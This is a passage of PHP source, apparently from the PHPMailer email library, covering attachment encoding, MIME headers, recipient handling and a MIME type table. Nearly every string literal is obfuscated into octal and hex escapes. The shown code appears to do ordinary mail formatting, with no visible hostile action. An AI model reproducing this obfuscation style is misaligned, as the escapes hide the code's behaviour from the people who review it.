sprintf("\103\157\156\164\x65\x6e\164\x2d\104\x69\x73\160\157\163\x69\164\151\157\156\72\40\x25\x73\73\x20\x66\151\154\x65\156\141\155\145\x3d\x22\x25\163\x22\45\x73", $disposition, $encoded_name, $this->LE . $this->LE); } else { if (!empty($encoded_name)) { $mime[] = sprintf("\x43\157\x6e\x74\145\x6e\164\55\x44\151\x73\x70\x6f\163\x69\x74\x69\x6f\156\x3a\x20\45\163\73\40\x66\151\154\x65\x6e\x61\x6d\145\75\45\x73\45\163", $disposition, $encoded_name, $this->LE . $this->LE); } else { $mime[] = sprintf("\x43\x6f\156\x74\145\156\x74\x2d\x44\x69\x73\160\x6f\163\x69\x74\x69\x6f\x6e\72\40\45\x73\x25\163", $disposition, $this->LE . $this->LE); } } } else { $mime[] = $this->LE; } if ($bString) { $mime[] = $this->encodeString($string, $encoding); if ($this->isError()) { return ''; } $mime[] = $this->LE . $this->LE; } else { $mime[] = $this->encodeFile($path, $encoding); if ($this->isError()) { return ''; } $mime[] = $this->LE . $this->LE; } } } $mime[] = sprintf("\55\55\x25\163\55\x2d\45\x73", $boundary, $this->LE); return implode('', $mime); } protected function encodeFile($path, $encoding = "\x62\141\x73\x65\x36\x34") { try { if (!self::isPermittedPath($path) or !file_exists($path)) { throw new phpmailerException($this->lang("\146\x69\154\x65\x5f\x6f\160\145\156") . $path, self::STOP_CONTINUE); } $magic_quotes = false; if (version_compare(PHP_VERSION, "\67\x2e\64\56\60", "\74")) { $magic_quotes = get_magic_quotes_runtime(); } if ($magic_quotes) { if (version_compare(PHP_VERSION, "\x35\56\x33\x2e\60", "\74")) { set_magic_quotes_runtime(false); } else { ini_set("\155\x61\147\x69\x63\137\x71\x75\157\x74\145\163\137\162\165\x6e\164\x69\x6d\x65", false); } } $file_buffer = file_get_contents($path); $file_buffer = $this->encodeString($file_buffer, $encoding); if ($magic_quotes) { if (version_compare(PHP_VERSION, "\x35\56\x33\x2e\60", "\x3c")) { set_magic_quotes_runtime($magic_quotes); } else { ini_set("\x6d\141\147\x69\143\137\x71\165\157\164\x65\163\137\x72\165\156\164\151\155\145", $magic_quotes); } } return $file_buffer; } catch (Exception $exc) { $this->setError($exc->getMessage()); return ''; } } public function encodeString($str, $encoding = "\x62\141\163\145\66\x34") { $encoded = ''; switch (strtolower($encoding)) { case "\142\141\163\x65\66\x34": $encoded = chunk_split(base64_encode($str), 76, $this->LE); break; case "\x37\x62\x69\164": case "\x38\142\x69\164": $encoded = $this->fixEOL($str); if (substr($encoded, -strlen($this->LE)) != $this->LE) { $encoded .= $this->LE; } break; case "\x62\151\x6e\141\x72\x79": $encoded = $str; break; case "\161\x75\157\x74\x65\144\55\160\162\x69\156\164\141\x62\154\x65": $encoded = $this->encodeQP($str); break; default: $this->setError($this->lang("\145\x6e\x63\157\144\151\156\x67") . $encoding); break; } return $encoded; } public function encodeHeader($str, $position = "\164\x65\170\x74") { $matchcount = 0; switch (strtolower($position)) { case "\160\x68\162\141\163\145": if (!preg_match("\57\133\x5c\62\x30\60\55\134\63\x37\x37\135\57", $str)) { $encoded = addcslashes($str, "\0\56\56\37\177\x5c\42"); if ($str == $encoded && !preg_match("\57\133\136\x41\55\x5a\x61\55\x7a\60\55\x39\41\x23\x24\45\x26\47\52\53\x5c\57\x3d\77\136\x5f\x60\173\x7c\x7d\x7e\40\55\x5d\x2f", $str)) { return $encoded; } else { return "\42{$encoded}\x22"; } } $matchcount = preg_match_all("\x2f\133\x5e\134\60\64\x30\134\60\x34\x31\134\x30\x34\63\55\134\61\x33\x33\x5c\x31\63\65\x2d\x5c\61\x37\x36\x5d\57", $str, $matches); break; case "\x63\157\155\155\145\156\x74": $matchcount = preg_match_all("\57\133\50\51\x22\x5d\57", $str, $matches); case "\164\x65\x78\164": default: $matchcount += preg_match_all("\x2f\x5b\134\60\60\60\55\134\x30\61\x30\x5c\60\x31\x33\x5c\60\61\64\x5c\60\61\x36\55\x5c\x30\63\67\134\x31\x37\x37\x2d\134\63\x37\67\135\x2f", $str, $matches); break; } if ($matchcount == 0) { return $str; } $maxlen = 75 - 7 - strlen($this->CharSet); if ($matchcount > strlen($str) / 3) { $encoding = "\102"; if (function_exists("\155\142\x5f\163\164\x72\154\145\156") && $this->hasMultiBytes($str)) { $encoded = $this->base64EncodeWrapMB($str, "\xa"); } else { $encoded = base64_encode($str); $maxlen -= $maxlen % 4; $encoded = trim(chunk_split($encoded, $maxlen, "\xa")); } } else { $encoding = "\x51"; $encoded = $this->encodeQ($str, $position); $encoded = $this->wrapText($encoded, $maxlen, true); $encoded = str_replace("\75" . self::CRLF, "\12", trim($encoded)); } $encoded = preg_replace("\57\136\50\x2e\x2a\51\x24\57\155", "\40\x3d\77" . $this->CharSet . "\x3f{$encoding}\x3f\x5c\61\77\75", $encoded); $encoded = trim(str_replace("\12", $this->LE, $encoded)); return $encoded; } public function hasMultiBytes($str) { if (function_exists("\x6d\142\x5f\x73\x74\162\x6c\x65\x6e")) { return strlen($str) > mb_strlen($str, $this->CharSet); } else { return false; } } public function has8bitChars($text) { return (bool) preg_match("\57\x5b\x5c\x78\70\x30\x2d\x5c\170\x46\106\135\57", $text); } public function base64EncodeWrapMB($str, $linebreak = null) { $start = "\x3d\x3f" . $this->CharSet . "\77\102\77"; $end = "\77\75"; $encoded = ''; if ($linebreak === null) { $linebreak = $this->LE; } $mb_length = mb_strlen($str, $this->CharSet); $length = 75 - strlen($start) - strlen($end); $ratio = $mb_length / strlen($str); $avgLength = floor($length * $ratio * 0.75); for ($i = 0; $i < $mb_length; $i += $offset) { $lookBack = 0; do { $offset = $avgLength - $lookBack; $chunk = mb_substr($str, $i, $offset, $this->CharSet); $chunk = base64_encode($chunk); $lookBack++; } while (strlen($chunk) > $length); $encoded .= $chunk . $linebreak; } $encoded = substr($encoded, 0, -strlen($linebreak)); return $encoded; } public function encodeQP($string, $line_max = 76) { if (function_exists("\161\x75\157\x74\x65\x64\137\160\162\x69\156\x74\x61\142\x6c\145\x5f\145\156\x63\157\144\145")) { return quoted_printable_encode($string); } $string = str_replace(array("\x25\x32\x30", "\45\60\x44\x25\x30\x41\x2e", "\x25\60\x44\45\60\101", "\45"), array("\40", "\xd\12\x3d\62\105", "\xd\12", "\75"), rawurlencode($string)); return preg_replace("\57\133\136\x5c\162\x5c\156\135\173" . ($line_max - 3) . "\x7d\x5b\x5e\75\x5c\x72\x5c\156\x5d\x7b\62\175\x2f", "\44\60\x3d\xd\12", $string); } public function encodeQPphp($string, $line_max = 76, $space_conv = false) { return $this->encodeQP($string, $line_max); } public function encodeQ($str, $position = "\164\x65\170\x74") { $pattern = ''; $encoded = str_replace(array("\15", "\12"), '', $str); switch (strtolower($position)) { case "\160\150\x72\141\x73\x65": $pattern = "\136\x41\55\x5a\x61\x2d\x7a\x30\55\71\41\x2a\x2b\x5c\57\x20\x2d"; break; case "\143\x6f\x6d\155\x65\x6e\x74": $pattern = "\x5c\x28\134\x29\42"; case "\x74\x65\170\x74": default: $pattern = "\x5c\x30\60\60\55\134\60\61\x31\x5c\x30\61\63\x5c\x30\x31\64\x5c\x30\x31\66\55\x5c\x30\x33\67\x5c\x30\67\65\134\60\x37\67\x5c\x31\63\67\134\x31\x37\x37\x2d\x5c\x33\67\x37" . $pattern; break; } $matches = array(); if (preg_match_all("\57\x5b{$pattern}\135\x2f", $encoded, $matches)) { $eqkey = array_search("\x3d", $matches[0]); if (false !== $eqkey) { unset($matches[0][$eqkey]); array_unshift($matches[0], "\x3d"); } foreach (array_unique($matches[0]) as $char) { $encoded = str_replace($char, "\x3d" . sprintf("\45\60\62\130", ord($char)), $encoded); } } return str_replace("\40", "\137", $encoded); } public function addStringAttachment($string, $filename, $encoding = "\142\141\163\x65\66\64", $type = '', $disposition = "\141\164\x74\x61\x63\x68\155\145\156\164") { if ($type == '') { $type = self::filenameToType($filename); } $this->attachment[] = array(0 => $string, 1 => $filename, 2 => basename($filename), 3 => $encoding, 4 => $type, 5 => true, 6 => $disposition, 7 => 0); } public function addEmbeddedImage($path, $cid, $name = '', $encoding = "\142\x61\x73\x65\66\x34", $type = '', $disposition = "\151\156\154\x69\156\145") { if (!self::isPermittedPath($path) or !@is_file($path)) { $this->setError($this->lang("\x66\x69\154\x65\137\x61\143\x63\145\x73\163") . $path); return false; } if ($type == '') { $type = self::filenameToType($path); } $filename = basename($path); if ($name == '') { $name = $filename; } $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => $disposition, 7 => $cid); return true; } public function addStringEmbeddedImage($string, $cid, $name = '', $encoding = "\x62\141\x73\145\66\64", $type = '', $disposition = "\x69\156\154\151\x6e\x65") { if ($type == '' and !empty($name)) { $type = self::filenameToType($name); } $this->attachment[] = array(0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, 6 => $disposition, 7 => $cid); return true; } public function inlineImageExists() { foreach ($this->attachment as $attachment) { if ($attachment[6] == "\x69\156\x6c\x69\x6e\145") { return true; } } return false; } public function attachmentExists() { foreach ($this->attachment as $attachment) { if ($attachment[6] == "\141\164\164\x61\x63\150\155\x65\156\x74") { return true; } } return false; } public function alternativeExists() { return !empty($this->AltBody); } public function clearQueuedAddresses($kind) { $RecipientsQueue = $this->RecipientsQueue; foreach ($RecipientsQueue as $address => $params) { if ($params[0] == $kind) { unset($this->RecipientsQueue[$address]); } } } public function clearAddresses() { foreach ($this->to as $to) { unset($this->all_recipients[strtolower($to[0])]); } $this->to = array(); $this->clearQueuedAddresses("\164\157"); } public function clearCCs() { foreach ($this->cc as $cc) { unset($this->all_recipients[strtolower($cc[0])]); } $this->cc = array(); $this->clearQueuedAddresses("\143\x63"); } public function clearBCCs() { foreach ($this->bcc as $bcc) { unset($this->all_recipients[strtolower($bcc[0])]); } $this->bcc = array(); $this->clearQueuedAddresses("\x62\x63\x63"); } public function clearReplyTos() { $this->ReplyTo = array(); $this->ReplyToQueue = array(); } public function clearAllRecipients() { $this->to = array(); $this->cc = array(); $this->bcc = array(); $this->all_recipients = array(); $this->RecipientsQueue = array(); } public function clearAttachments() { $this->attachment = array(); } public function clearCustomHeaders() { $this->CustomHeader = array(); } protected function setError($msg) { $this->error_count++; if ($this->Mailer == "\163\155\x74\x70" and !is_null($this->smtp)) { $lasterror = $this->smtp->getError(); if (!empty($lasterror["\145\x72\162\x6f\x72"])) { $msg .= $this->lang("\163\155\x74\x70\x5f\x65\x72\162\x6f\x72") . $lasterror["\x65\x72\x72\x6f\x72"]; if (!empty($lasterror["\144\145\164\141\151\x6c"])) { $msg .= "\x20\x44\x65\164\x61\x69\x6c\x3a\x20" . $lasterror["\x64\145\164\x61\151\x6c"]; } if (!empty($lasterror["\x73\x6d\164\x70\137\143\x6f\x64\145"])) { $msg .= "\x20\123\115\124\120\x20\x63\x6f\144\x65\x3a\x20" . $lasterror["\x73\x6d\x74\160\137\143\157\144\145"]; } if (!empty($lasterror["\163\155\164\x70\x5f\x63\157\x64\x65\137\145\170"])) { $msg .= "\x20\x41\x64\144\151\164\151\157\x6e\141\154\40\123\x4d\124\120\40\151\x6e\x66\157\72\x20" . $lasterror["\x73\x6d\x74\x70\137\143\x6f\x64\145\137\145\x78"]; } } } $this->ErrorInfo = $msg; } public static function rfcDate() { date_default_timezone_set(@date_default_timezone_get()); return date("\x44\x2c\x20\x6a\40\115\x20\131\40\x48\x3a\x69\72\x73\40\x4f"); } protected function serverHostname() { $result = "\x6c\x6f\143\x61\x6c\x68\x6f\163\x74\56\154\x6f\143\x61\154\x64\x6f\x6d\x61\x69\156"; if (!empty($this->Hostname)) { $result = $this->Hostname; } elseif (isset($_SERVER) and array_key_exists("\x53\105\122\x56\105\122\x5f\116\101\115\x45", $_SERVER) and !empty($_SERVER["\123\x45\x52\x56\x45\122\137\116\101\x4d\105"])) { $result = $_SERVER["\123\x45\x52\x56\x45\122\137\x4e\101\x4d\x45"]; } elseif (function_exists("\147\x65\x74\150\x6f\163\164\x6e\141\155\x65") && gethostname() !== false) { $result = gethostname(); } elseif (php_uname("\x6e") !== false) { $result = php_uname("\156"); } return $result; } protected function lang($key) { if (count($this->language) < 1) { $this->setLanguage("\145\x6e"); } if (array_key_exists($key, $this->language)) { if ($key == "\163\x6d\x74\160\x5f\x63\157\156\x6e\145\x63\x74\137\x66\x61\x69\x6c\x65\x64") { return $this->language[$key] . "\40\x68\164\164\160\163\x3a\x2f\x2f\x67\151\164\x68\x75\x62\56\x63\x6f\x6d\x2f\x50\110\x50\115\141\151\154\x65\162\57\120\110\120\x4d\x61\x69\154\145\162\57\167\x69\153\151\x2f\124\162\157\165\142\x6c\x65\163\150\157\157\164\151\156\x67"; } return $this->language[$key]; } else { return $key; } } public function isError() { return $this->error_count > 0; } public function fixEOL($str) { $nstr = str_replace(array("\15\12", "\xd"), "\12", $str); if ($this->LE !== "\12") { $nstr = str_replace("\xa", $this->LE, $nstr); } return $nstr; } public function addCustomHeader($name, $value = null) { if ($value === null) { $this->CustomHeader[] = explode("\72", $name, 2); } else { $this->CustomHeader[] = array($name, $value); } } public function getCustomHeaders() { return $this->CustomHeader; } public function msgHTML($message, $basedir = '', $advanced = false) { preg_match_all("\x2f\x28\x73\x72\143\174\142\x61\143\153\x67\162\157\165\x6e\144\51\x3d\133\42\47\135\x28\56\52\x29\133\x22\47\135\57\x55\x69", $message, $images); if (array_key_exists(2, $images)) { if (strlen($basedir) > 1 && substr($basedir, -1) != "\57") { $basedir .= "\x2f"; } foreach ($images[2] as $imgindex => $url) { if (preg_match("\x23\136\x64\x61\164\141\72\50\151\x6d\x61\147\x65\133\136\x3b\x2c\x5d\52\51\50\73\142\141\x73\145\x36\x34\51\x3f\x2c\x23", $url, $match)) { $data = substr($url, strpos($url, "\54")); if ($match[2]) { $data = base64_decode($data); } else { $data = rawurldecode($data); } $cid = md5($url) . "\100\160\150\x70\155\141\151\154\145\162\56\x30"; if ($this->addStringEmbeddedImage($data, $cid, "\145\x6d\x62\145\144" . $imgindex, "\142\141\163\x65\66\x34", $match[1])) { $message = str_replace($images[0][$imgindex], $images[1][$imgindex] . "\75\x22\x63\151\x64\72" . $cid . "\x22", $message); } continue; } if (!empty($basedir) && strpos($url, "\x2e\x2e") === false && substr($url, 0, 4) !== "\x63\x69\x64\x3a" && !preg_match("\43\136\x5b\141\x2d\172\x5d\x5b\x61\55\x7a\60\x2d\x39\53\x2e\55\x5d\52\x3a\77\x2f\57\x23\x69", $url)) { $filename = basename($url); $directory = dirname($url); if ($directory == "\56") { $directory = ''; } $cid = md5($url) . "\100\x70\x68\160\x6d\141\151\x6c\145\162\x2e\x30"; if (strlen($directory) > 1 && substr($directory, -1) != "\x2f") { $directory .= "\x2f"; } if ($this->addEmbeddedImage($basedir . $directory . $filename, $cid, $filename, "\x62\x61\x73\145\x36\64", self::_mime_types((string) self::mb_pathinfo($filename, PATHINFO_EXTENSION)))) { $message = preg_replace("\57" . $images[1][$imgindex] . "\x3d\133\42\x27\x5d" . preg_quote($url, "\x2f") . "\x5b\42\x27\135\x2f\125\151", $images[1][$imgindex] . "\75\42\x63\151\x64\72" . $cid . "\42", $message); } } } } $this->isHTML(true); $this->Body = $this->normalizeBreaks($message); $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced)); if (!$this->alternativeExists()) { $this->AltBody = "\x54\157\x20\x76\151\145\x77\40\164\x68\151\163\x20\145\155\141\151\154\x20\155\x65\163\163\141\147\145\54\40\157\160\145\156\x20\x69\x74\40\151\x6e\40\x61\40\x70\x72\157\x67\x72\141\x6d\40\164\150\141\x74\40\x75\x6e\x64\145\162\163\x74\141\156\x64\x73\x20\110\124\x4d\114\x21" . self::CRLF . self::CRLF; } return $this->Body; } public function html2text($html, $advanced = false) { if (is_callable($advanced)) { return call_user_func($advanced, $html); } return html_entity_decode(trim(strip_tags(preg_replace("\x2f\74\x28\x68\145\x61\x64\174\164\x69\164\154\x65\x7c\x73\164\171\x6c\145\x7c\163\143\162\x69\x70\164\51\133\136\x3e\135\52\x3e\x2e\52\77\x3c\134\x2f\134\x31\76\57\163\151", '', $html))), ENT_QUOTES, $this->CharSet); } public static function _mime_types($ext = '') { $mimes = array("\170\x6c" => "\x61\x70\x70\x6c\x69\143\x61\164\x69\x6f\x6e\57\145\x78\143\x65\154", "\x6a\163" => "\x61\160\x70\154\151\143\x61\x74\x69\x6f\x6e\x2f\152\x61\x76\x61\x73\143\162\x69\160\164", "\x68\161\170" => "\141\x70\x70\154\x69\143\x61\164\x69\157\x6e\57\155\x61\x63\55\x62\x69\x6e\150\145\170\64\x30", "\143\160\164" => "\141\160\160\x6c\x69\x63\x61\164\151\x6f\x6e\57\155\x61\x63\55\x63\x6f\155\x70\x61\143\x74\160\162\157", "\142\151\156" => "\141\160\160\x6c\x69\x63\141\x74\151\x6f\x6e\57\x6d\141\143\142\151\x6e\141\x72\171", "\x64\157\x63" => "\x61\x70\x70\x6c\151\143\x61\x74\x69\x6f\156\57\x6d\163\167\157\x72\x64", "\167\157\162\144" => "\141\160\160\x6c\x69\x63\x61\164\x69\157\156\x2f\155\163\x77\x6f\162\144", "\170\154\x73\x78" => "\141\x70\x70\154\x69\x63\x61\164\151\x6f\156\57\x76\156\x64\x2e\x6f\x70\145\x6e\x78\155\154\x66\x6f\x72\155\x61\164\163\55\x6f\146\146\x69\143\x65\x64\157\x63\x75\x6d\145\156\164\56\x73\x70\162\145\x61\x64\x73\x68\x65\x65\164\155\154\x2e\x73\150\145\145\164", "\x78\x6c\x74\170" => "\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\156\57\166\156\x64\56\x6f\x70\145\x6e\170\x6d\x6c\x66\157\162\155\141\164\163\x2d\157\146\x66\151\x63\145\x64\157\x63\x75\155\x65\x6e\x74\56\x73\x70\x72\x65\x61\x64\x73\x68\145\145\164\155\x6c\x2e\164\145\155\x70\154\141\x74\145", "\160\x6f\164\x78" => "\141\x70\160\x6c\x69\x63\x61\x74\151\x6f\156\x2f\166\156\144\x2e\x6f\160\145\x6e\170\x6d\154\x66\157\162\x6d\141\x74\x73\55\157\x66\146\151\x63\x65\x64\157\x63\x75\155\x65\156\164\x2e\x70\162\x65\x73\145\x6e\x74\141\x74\x69\x6f\156\155\154\x2e\164\x65\155\x70\x6c\x61\x74\x65", "\x70\x70\163\170" => "\x61\x70\x70\x6c\x69\143\141\x74\x69\x6f\156\57\166\156\144\56\x6f\x70\145\156\170\155\x6c\x66\157\x72\x6d\141\x74\163\55\157\146\x66\151\143\145\x64\157\143\x75\x6d\x65\x6e\x74\x2e\x70\x72\x65\163\x65\156\164\x61\164\x69\157\156\x6d\154\56\x73\154\151\144\x65\163\x68\157\x77", "\160\x70\x74\170" => "\x61\160\x70\x6c\x69\143\x61\164\x69\157\x6e\57\166\x6e\144\x2e\157\x70\x65\x6e\x78\155\x6c\x66\x6f\162\x6d\x61\x74\x73\55\x6f\146\146\151\143\x65\144\x6f\143\x75\155\x65\x6e\164\x2e\x70\162\145\163\x65\x6e\164\141\x74\x69\157\156\x6d\154\56\x70\x72\145\x73\x65\156\x74\x61\x74\151\x6f\x6e", "\163\x6c\144\170" => "\141\160\x70\154\151\x63\141\x74\x69\x6f\x6e\x2f\x76\156\x64\x2e\157\160\x65\x6e\170\x6d\x6c\x66\x6f\162\155\x61\x74\x73\55\157\146\146\151\x63\x65\x64\x6f\x63\x75\155\145\156\x74\56\x70\x72\x65\x73\145\x6e\x74\x61\x74\x69\x6f\156\155\x6c\56\x73\154\x69\x64\145", "\144\x6f\143\170" => "\x61\160\160\x6c\x69\143\x61\164\151\x6f\x6e\57\x76\x6e\x64\x2e\x6f\160\x65\156\x78\155\x6c\x66\x6f\162\155\x61\164\163\55\x6f\x66\x66\151\x63\x65\144\157\x63\x75\x6d\145\156\x74\x2e\x77\157\x72\144\x70\x72\x6f\143\x65\163\x73\x69\x6e\x67\155\154\56\144\157\x63\x75\155\x65\156\164", "\144\157\x74\170" => "\x61\160\160\x6c\151\143\141\x74\x69\x6f\156\x2f\166\x6e\144\x2e\157\160\x65\156\x78\x6d\x6c\x66\x6f\x72\155\141\x74\x73\55\157\x66\146\x69\x63\145\144\x6f\143\x75\x6d\145\156\x74\x2e\167\157\162\x64\x70\162\157\143\145\163\163\x69\x6e\x67\155\x6c\x2e\x74\145\x6d\x70\154\x61\x74\145", "\x78\154\x61\155" => "\141\x70\x70\x6c\x69\x63\141\x74\151\x6f\x6e\x2f\x76\156\x64\x2e\x6d\x73\x2d\145\x78\x63\x65\x6c\x2e\x61\x64\x64\151\156\x2e\155\x61\143\x72\157\105\156\141\x62\x6c\x65\x64\x2e\x31\x32", "\x78\154\x73\x62" => "\x61\160\160\x6c\151\143\x61\164\151\157\x6e\x2f\x76\x6e\144\56\155\x73\55\x65\170\143\145\x6c\56\163\150\x65\x65\x74\x2e\142\x69\156\141\162\x79\56\x6d\x61\143\162\157\x45\156\141\142\154\145\x64\x2e\x31\62", "\x63\154\x61\x73\163" => "\141\160\160\x6c\x69\x63\141\x74\151\x6f\x6e\57\x6f\x63\x74\x65\x74\55\163\164\x72\x65\141\x6d", "\144\154\154" => "\141\x70\x70\154\151\143\x61\164\x69\157\x6e\57\x6f\x63\164\x65\164\55\x73\164\x72\145\x61\x6d", "\144\x6d\163" => "\141\160\160\x6c\x69\143\141\x74\x69\157\x6e\57\x6f\x63\x74\145\164\55\x73\x74\162\145\141\x6d", "\145\x78\145" => "\141\160\160\x6c\x69\x63\x61\x74\x69\157\156\x2f\x6f\x63\164\x65\164\x2d\163\x74\162\145\x61\x6d", "\x6c\150\x61" => "\141\160\160\x6c\151\143\x61\164\x69\157\156\x2f\157\x63\164\x65\x74\x2d\163\x74\x72\145\141\155", "\154\172\x68" => "\141\x70\160\154\151\x63\141\x74\151\x6f\x6e\57\x6f\143\164\x65\x74\55\163\164\x72\145\x61\x6d", "\160\163\144" => "\x61\160\160\x6c\x69\143\x61\164\151\157\x6e\57\x6f\x63\164\145\x74\x2d\x73\x74\162\145\x61\155", "\x73\x65\141" => "\141\x70\160\154\151\x63\x61\164\151\x6f\x6e\x2f\x6f\x63\x74\x65\164\55\x73\x74\x72\145\x61\x6d", "\163\157" => "\141\x70\160\154\151\143\x61\x74\x69\x6f\x6e\x2f\157\x63\x74\x65\164\55\163\164\x72\145\141\x6d", "\x6f\x64\141" => "\141\160\x70\x6c\151\143\141\x74\151\157\x6e\x2f\x6f\144\x61", "\x70\144\146" => "\x61\160\160\154\x69\143\x61\164\151\x6f\156\57\x70\144\146", "\141\151" => "\141\160\x70\154\151\x63\x61\x74\x69\157\156\x2f\160\157\163\164\163\143\162\x69\160\x74", "\x65\160\163" => "\x61\160\x70\154\x69\x63\x61\164\x69\x6f\x6e\57\160\x6f\163\x74\x73\143\162\x69\x70\164", "\160\163" => "\x61\160\x70\154\x69\143\x61\x74\151\157\x6e\x2f\x70\x6f\x73\x74\163\143\162\151\160\x74", "\163\x6d\151" => "\141\x70\x70\154\x69\x63\141\x74\x69\157\x6e\57\163\x6d\151\x6c", "\163\x6d\x69\x6c" => "\x61\x70\x70\x6c\x69\143\x61\x74\x69\157\x6e\x2f\x73\155\151\x6c", "\x6d\151\146" => "\x61\x70\160\154\x69\x63\x61\x74\151\x6f\156\x2f\166\x6e\144\56\155\151\146", "\170\x6c\163" => "\141\x70\x70\154\151\143\141\164\151\157\x6e\x2f\x76\156\x64\56\155\x73\x2d\x65\x78\143\x65\x6c", "\160\x70\164" => "\141\x70\x70\x6c\x69\x63\141\164\151\157\156\57\x76\156\144\56\x6d\163\55\160\157\167\x65\162\160\x6f\x69\x6e\x74", "\167\142\x78\x6d\x6c" => "\x61\160\160\x6c\x69\143\141\x74\151\157\156\57\166\156\x64\56\x77\x61\160\56\x77\x62\x78\155\154", "\167\155\154\143" => "\141\x70\160\x6c\151\x63\x61\164\151\157\156\x2f\166\156\144\56\x77\141\x70\x2e\167\x6d\x6c\x63", "\x64\x63\x72" => "\141\x70\x70\x6c\x69\x63\x61\164\x69\157\156\x2f\170\55\x64\151\162\145\143\164\x6f\x72", "\144\x69\162" => "\141\x70\x70\x6c\x69\143\141\164\151\157\x6e\x2f\x78\x2d\144\151\162\145\x63\164\x6f\x72", "\144\170\x72" => "\x61\160\160\x6c\x69\x63\x61\164\x69\157\x6e\x2f\170\x2d\x64\x69\x72\145\x63\x74\157\162", "\144\166\x69" => "\x61\x70\x70\x6c\151\x63\x61\x74\x69\157\x6e\57\x78\x2d\144\166\x69", "\x67\164\141\x72" => "\x61\x70\x70\x6c\x69\143\x61\164\151\x6f\156\x2f\170\x2d\147\164\x61\162", "\160\150\x70\x33" => "\141\x70\x70\154\151\143\x61\x74\x69\157\x6e\x2f\170\55\150\164\164\160\144\55\160\150\x70", "\160\x68\160\x34" => "\141\x70\x70\x6c\151\143\x61\164\151\157\156\57\x78\x2d\150\x74\164\160\144\55\160\x68\x70", "\x70\x68\160" => "\x61\160\160\154\x69\x63\x61\164\151\x6f\156\x2f\x78\55\x68\164\x74\160\144\x2d\160\x68\x70", "\x70\x68\164\x6d\x6c" => "\x61\x70\160\154\151\143\x61\164\x69\157\x6e\57\170\55\x68\x74\164\x70\144\55\160\x68\160", "\x70\x68\160\163" => "\x61\160\160\x6c\151\x63\x61\x74\x69\157\x6e\x2f\x78\x2d\150\x74\x74\160\x64\x2d\x70\x68\x70\x2d\x73\157\165\x72\143\x65", "\163\167\146" => "\141\160\x70\154\151\143\x61\x74\151\157\x6e\57\x78\55\163\x68\x6f\143\x6b\167\141\166\x65\55\146\x6c\141\163\150", "\x73\151\x74" => "\x61\160\x70\x6c\151\x63\141\x74\151\x6f\x6e\57\170\55\x73\x74\x75\146\146\x69\x74", "\164\141\162" => "\x61\x70\x70\154\151\143\141\164\x69\x6f\x6e\x2f\x78\x2d\x74\x61\162", "\x74\147\x7a" => "\x61\x70\x70\x6c\x69\143\x61\x74\151\x6f\156\57\170\x2d\x74\x61\x72", "\x78\x68\164" => "\141\x70\x70\x6c\151\143\x61\164\151\157\x6e\57\170\x68\164\155\x6c\53\170\x6d\x6c", "\170\x68\164\x6d\154" => "\141\160\160\x6c\x69\143\x61\164\151\x6f\x6e\x2f\x78\x68\164\x6d\154\53\x78\x6d\154", "\172\x69\160" => "\x61\160\x70\154\x69\143\141\164\x69\157\156\57\x7a\x69\x70", "\x6d\151\x64" => "\x61\x75\144\x69\x6f\57\155\151\x64\151", "\x6d\151\x64\x69" => "\141\x75\x64\151\x6f\57\155\x69\x64\x69", "\155\x70\62" => "\x61\165\x64\151\x6f\x2f\155\160\x65\147", "\155\160\x33" => "\x61\x75\x64\x69\x6f\57\x6d\160\x65\147", "\x6d\x70\x67\141" => "\141\x75\x64\151\x6f\x2f\x6d\160\145\147", "\141\151\146" => "\141\165\144\x69\x6f\57\x78\55\141\151\146\146", "\141\151\146\143" => "\x61\165\x64\151\157\57\x78\x2d\x61\x69\x66\x66", "\141\x69\x66\146" => "\x61\x75\x64\151\157\x2f\170\x2d\x61\x69\x66\x66", "\x72\x61\155" => "\x61\x75\x64\151\x6f\x2f\x78\55\160\156\55\x72\x65\141\154\x61\x75\x64\x69\x6f", "\162\x6d" => "\141\x75\x64\x69\157\57\x78\x2d\x70\x6e\55\x72\145\x61\154\x61\x75\x64\x69\x6f", "\x72\x70\x6d" => "\141\165\144\151\x6f\x2f\170\x2d\x70\156\x2d\162\x65\141\x6c\141\165\144\x69\x6f\55\160\x6c\165\147\x69\156", "\162\141" => "\141\165\144\151\x6f\57\x78\x2d\x72\x65\141\x6c\x61\165\144\151\x6f", "\167\141\166" => "\x61\165\x64\x69\157\57\x78\55\167\141\x76", "\142\x6d\160" => "\x69\x6d\141\147\x65\57\142\155\160", "\147\151\146" => "\151\x6d\x61\147\145\x2f\147\151\x66", "\x6a\x70\145\147" => "\x69\155\x61\147\x65\57\x6a\x70\145\147", "\x6a\x70\145" => "\151\155\141\x67\x65\x2f\152\160\145\x67", "\x6a\x70\147" => "\x69\x6d\x61\147\x65\x2f\x6a\x70\x65\147", "\x70\x6e\x67" => "\x69\155\141\147\x65\x2f\160\156\x67", "\164\151\146\x66" => "\x69\155\141\147\x65\57\x74\151\x66\146", "\164\x69\146" => "\151\x6d\141\147\x65\57\x74\x69\146\146", "\145\x6d\x6c" => "\155\145\x73\163\141\147\145\57\x72\x66\x63\70\x32\x32", "\143\x73\163" => "\164\x65\170\164\x2f\143\163\x73", "\x68\164\x6d\154" => "\164\145\170\x74\57\x68\164\155\154", "\x68\164\155" => "\x74\145\170\x74\x2f\x68\164\155\x6c", "\163\x68\164\155\x6c" => "\x74\145\170\x74\x2f\x68\164\x6d\x6c", "\x6c\157\x67" => "\x74\x65\170\164\x2f\160\x6c\141\x69\156", "\x74\x65\x78\164" => "\164\145\x78\164\x2f\160\154\x61\x69\156", "\x74\170\164" => "\164\x65\x78\164\x2f\x70\154\x61\151\156", "\162\x74\170" => "\x74\145\x78\x74\57\162\x69\x63\150\164\145\x78\x74", "\162\164\x66" => "\164\145\170\x74\x2f\162\x74\146", "\166\x63\x66" => "\164\145\x78\164\57\166\x63\141\x72\x64", "\x76\x63\141\x72\144" => "\x74\145\x78\164\x2f\166\x63\141\x72\x64", "\170\x6d\x6c" => "\164\145\x78\x74\x2f\x78\155\x6c", "\170\x73\154" => "\164\145\x78\164\x2f\x78\155\x6c", "\155\160\145\x67" => "\x76\151\x64\x65\x6f\57\x6d\x70\145\147", "\x6d\x70\145" => "\x76\151\144\x65\157\57\155\x70\x65\x67", "\155\160\x67" => "\x76\151\x64\x65\x6f\x2f\155\160\x65\x67", "\x6d\157\x76" => "\166\151\144\x65\x6f\57\161\165\151\x63\x6b\164\151\155\145", "\x71\164" => 